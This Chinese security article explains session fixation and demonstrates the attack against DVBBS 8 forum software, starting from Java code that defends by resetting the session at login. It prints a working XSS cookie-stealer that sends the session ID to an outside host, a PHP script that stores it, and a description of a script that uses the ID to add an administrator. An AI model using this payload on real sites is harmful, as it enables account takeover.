Session Fixation 攻防实战

  【IT168 专稿】最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》,讲的是一段代码,在STRUTS 2框架中,防御Session Fixation攻击。笔者比较老土,看不懂英文,还好能看懂代码,发现这是一种平时开发中(至少自己是这样),从来没注意过的攻击。关于这种攻击,刺在自己博客上写了篇文章《关于Session Fixation》。我在邮件列表,和文章后面跟帖讨论了下,但是仍然感觉自己说的不是很清晰,毕竟没有实战,所以实践了一下自己的想法,重新写篇文章补充下。注:为了保证质量,本文假设读者对cookie和session基本概念和特性已经掌握。

  作者是从防御代码中,发现这种攻击的存在,所以,我们先看防御的代码:

 

Java代码
  1. public void doGet(HttpServletRequest request, HttpServletResponse response)   
  2.      throws ServletException, IOException {   
  3.      if(userid.equals("admin") && password.equals("admin")) {   
  4.         request.getSession().invalidate();   
  5.         HttpSession session = request.getSession(true);   
  6.         session.setAttribute("AUTHENTICATED"new Boolean(true));   
  7.         response.sendRedirect("PageRequiringAuthentication.jsp");   
  8. //Additional Code Would Normally Follow  

  这是一个很常见的登录过程,首先验证用户名密码是否正确,正确后,干掉当前session。然后重新获取一个新session,继续执行赋予用户管理权限。关键就是,这段代码干掉了当前的session。当服务器和客户端之间的session销毁时,因为客户端仍然向服务器发送数据,所以服务器会自动的新生成一个session。为什么以前的session不能用呢?

  在作者刚看到邮件的时候,一直看不明白,因为站在程序员的角度,作者不知道为啥非要让session销毁了。如果不消毁session,程序一样正确执行,攻击者不知道管理员密码,一样进不来。如果这个人知道管理员密码,那么对于程序本身来说,这个人就已经是一个程序所期望的管理员了。但是换个角度想一下,管理员在管理网站的时候,通常都做些什么?在管理员登陆前,他还只是一个普通的浏览者,会去浏览一些公开页面,他可能在哪里发现了问题,需要进后台处理一下,于是他就登录了。就在这个很普通的过程中,如果程序没有在认证成功后,销毁session,则管理员在登录前和登录后,session是同一个。假设我们能够在前台,使用了XSS一类手段,获得了这个 session,等他一旦登录,就“野鸡变凤凰”了。

  在以往的XSS攻击、CSRF攻击中,我们总是把目光放在管理员登陆后,XSS 他、CSRF他。都没有想过,如果管理员登陆后,不浏览XSS页面,怎么攻击?看到这段防御代码,作者突然想到了一种攻击手段,只要管理员曾经浏览过 XSS页面(这时候只是普通用户),就能在他登录后,即使不再浏览XSS页面,也能攻击到。

  为了详细的描述和重现这种攻击方式,作者特意下载了动网BBS 8最新版本。首先做两个实验,来验证动网是否存在这个漏洞:

  1、在登录前,查看自己的SESSIONID,管理员前台登录后,再查看SESSIONID,登录后台,再查看。发现这个值没有变动。就是说动网存在这个漏洞,登录前后,SESSIONID没有变。

  2、为了保证实验成功,需要知道动网的后台是否仅仅通过SESSION来验证身份。登录后,抓包。修改包中的信息,修改username,提交,返回数据表明可以同过。再修改SESSIONID,却出现“本页面为管理员专。。。”字样,没有通过认证。这说明动网后台是仅仅通过session验证的,而不是cookie。

  证明了这个漏洞的存在,下面就利用这个漏洞,攻击登录前的管理员。动网论坛的用户身份模式,可以很好的诠释这种攻击,用过动网的读者都知道,浏览动网的用户分为以下几种级别:“未注册用户”、“注册用户”、“前台管理员”、“后台管理员”。我们先架设好攻击环境,之后让一个未登陆的管理员,浏览论坛的XSS页面,之后登录到后台。

  总体来看,利用这样的漏洞,需要以下一些东西:

  1、a.php,一个脚本,用来接收XSS页面传来的SESSIONID,然后保存在haha.txt,可以放在任何一个支持php的空间里。

  2、go.py,没隔5秒,请求一次haha.txt,获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中,请求后台页面的“添加管理员功能”。

  3、一个前台的XSS漏洞,这个漏洞我们自己可以构造出来。

  作者为了仅仅说明这个问题,而不是大量的制造攻击,所以单独为动网写了个对应的脚本,go.py这个脚本,请求了动网后台的“添加管理员功能”。他会一直去请求,不管管理员有没有登录,在登录前,会收到“本页面为管理员专。。。”字样。但是管理员一旦登录,就会请求成功这个功能。

  下图可以说明这次模拟实验:

1.jpg

  第一步。首先架设好辅助攻击的服务器,服务器中有两个文件,一个是a.php。这个文件用来接收XSS发来的SESSIONID信息,然后保存为haha.txt。

  第二步。执行go.py。这个文件会每隔5秒,请求一次haha.txt,读取其中的数据,解析为对应的SESSIONID,把SESSIONID放在发动包的COOKIE中,之后请求一次“添加管理员”这个功能。

  管理员登录后台之后,SESSIONID就会成为了一个可以通过论坛验证的SESSIONID,这时候的请求会成为合法请求,登录之前的请求,全都是垃圾数据。在整个过程中,我们要求管理员在登录前浏览一次XSS页面,然后登陆。登录后,大概15秒的时候,就可以退出了。这点时间,我们的攻击,已经成功。

  请注意,这次攻击的演示中,重点不是动网出现了XSS漏洞,而是Session Fixation,所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单,论坛后台有个给版面加“本版版规”的功能,支持HTML。把XSS的内容放这里:

 

JavaScript代码
  1. <script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>  

  用于提交SESSIONID到a.php。下面是一个COOKIE的内容:

2.jpg

  请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分,这里就是一个 SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样,“ASPSESSIONIDASQCSSRT”这个KEY的名字,也是不同名称的。但是他逃脱不了一种模式,就是SESSIONID的名字,改来改去,总要让服务器认识。结合几次抓包内容,发现,这个字符串没有固定的名称,也没有固定的值,但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。

  php代码,用于接收提交过来的SESSIONID,保存:

 

PHP代码
  1. <?php   
  2. $fp = fopen("haha.txt","wb");   
  3. fwrite($fp,$_GET["id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));   
  4. fclose($fp);   
  5. ?>  

  下面先执行go.py。

  可以看到代码一直在执行“添加管理员这个过程”,并且一直不能通过验证。

  现在先浏览下XSS页面,查看那个有XSS的版面。先让程序获得SESSIONID,注意,还没有登录。

3.jpg

  和前次不同的是,我们获取了sessionid。但是这个SESSIONID还没有通过验证,管理员还没有登录。之后使用管理员登录后台。

4.jpg

  这张图,出现了提示信息“您输入的用户名已经在管理用户中存在!”,说明已经可以通过验证了,攻击成功。

  可能有很多读者在本次攻击过程中想到了SESSION IE这个工具,该工具也可以获得管理员的SESSIONID,并且通过不断的访问,维持这个SESSIONID不被销毁。与之区别的是,如果管理员登录后,自己点了“退出”。那么这个维持中SESSIONID就没用了,除非你能在他没点退出之间,做了添加管理员操作,期待该工具更新本文所提功能。而这次的攻击过程中,即使管理员退出了,我们攻击也早就在管理员登陆的那一刹那间,攻击成功。Session Fixation最大的威胁,就是在登录前的XSS能一直威胁到了管理员登录,即使管理员登录后不再访问XSS页面,也不影响攻击效果。

  工具go.py在这里提供下载,但是注意一点,这个工具,不是一个多线程的。实验的时候可以用,如果用于做坏事,除非修改它的代码,否则每一个看到 XSS页面的人,都会提交SESSIONID上去,导致攻击失败。为了网络和谐,作者就不提供真正用于攻击的代码了,大家回去后自己研究。

下面下载

sessionfixationcode.rar

发表评论?

5 条评论。

  1. 感觉有点不对劲,这样利用的话也太容易了吧。
    只要XSS拿到sessionID,就可以发起攻击,让我想想~

  2. 文章的思路不错。

    楼上的朋友,这没什么不对劲的,关键是你要能找到一个这样的XSS点,然后社工或其他什么的让管理员访问到了这个XSS点。这个XSS就可以完成session hijacking的操作(盗取你的cookie关键信息),劫持到这个sessionID。也就是说这时你知道了这个sessionID,而管理员登陆前台、后台这个sessionID都不变,恰巧动网BBS又仅仅使用这个sessionID来进行身份验证。

    不过我怎么感觉kxlzx是在描述一次session hijacking攻击呢?呵呵。

    http://en.wikipedia.org/wiki/Session_hijacking
    http://en.wikipedia.org/wiki/Session_fixation

  3. 或者只是动网才有这个bug~

  4. 您好!贵站不错啊!能做个链接么?我已添加了贵站!
    小站地址:http://www.dangdangh.cn 名称:当当网
    先说声谢谢!

  5. Hi! I simply want to offer you a big thumbs up for your great information you have here on this post. I will be coming back to your website for more soon.

发表评论